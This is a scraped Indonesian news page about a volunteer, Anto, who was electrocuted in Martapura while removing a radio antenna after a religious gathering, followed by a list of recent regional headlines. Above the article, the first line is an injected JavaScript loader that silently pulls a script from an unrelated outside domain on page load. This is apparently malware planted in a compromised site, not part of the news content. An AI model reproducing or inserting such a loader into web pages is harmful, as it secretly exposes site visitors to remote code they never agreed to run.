(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Lepas Antena Radio, Anto Meninggal Tersengat Listrik


MARTAPURA, Melepas antena radio frekuensi yang digunakan untuk acara Haul ke-13 Abah Guru Sekumpul, Rubianto (32) biasa disapa Anto, tersengat listrik dan meninggal di tempat, Selasa (27/3) sekitar pukul 18.00 Wita.

Anto warga Gang Garuda RT 003/ RW 002 Tanjung Rema Darat adalah salah satu relawan yang bertugas untuk mendukung kelancaran pelaksanaan Haul ke-13 Sekumpul.

Sumber di lokasi kejadian mengatakan, saat itu Anto bersama rekan relawan lainnya sedang bertugas melepas tenda-tenda yang digunakan saat acara Haul di simpang tiga Guntung Alaban depan kantor Disnaker Kabupaten Banjar.

Setelah melepas seluruh tenda yang berada di sana, Anto bersama salah seorang temannya ingin melepaskan sebuah antena orari. Sebelumnya, PLN telah memberitau bahwa kabel antena tersebut bermasalah atau lebih tepatnya bocor.

Salah seorang teman Anto saat itu memanjat pohon untuk memegan badan tiang dan korban sendiri berada dibawah memegang kaki tiang. Saat ingin dilepas teman korban merasa ada aliran listrik yang mengalir ke arah dirinya. Dia pun langsung melompat dari pohon sambil berteriak memperingatkan Anto untuk melepaskan tiang antena tersebut.

Tragisnya, Anto saat itu tidak memahami apa yang diteriakan oleh temannya. Dia pun semakin erat memegang tiang antena tersebut, seketika Anto tidak sadarkan diri.

Melihat korban tidak sadarkan diri, teman temannya pun bergegas membawa Anto ke Rumah Sakit Ratu Zalecha Martapura. Nahas, Anto telah berpulang ke Rahmatullah.

Dari sumber yang didapat, diduga akibat cuaca hujan kabel antena tersaluri aliran listrik dan akhirnya menewaskan Anto.

Kejadiaan yang berlangsung sangat cepat itu membuat teman korban tidak dapat mengingat apapun. Dengan kaki yang terpincang dan tangan yang masih merasakan kebas dia hanya bisa tertunduk lesu saat ditanya Kanal Kalimantan.

“Saya lupa lupa semuanya, saya lelah” ujar saksi mata.

Keluarga korban telah mengetahi hal ini dan telah tiba di Rumah Sakit Ratu Zalecha.

Teman korban juga saat ini telah dibawa ke tukang pijat refleksi, untuk mememulihkan kakinya yang keseleo karena melompat dari pohon. (rico)

Reporter: Rico
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

8 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

8 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

9 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

9 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

11 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

11 jam ago

This website uses cookies.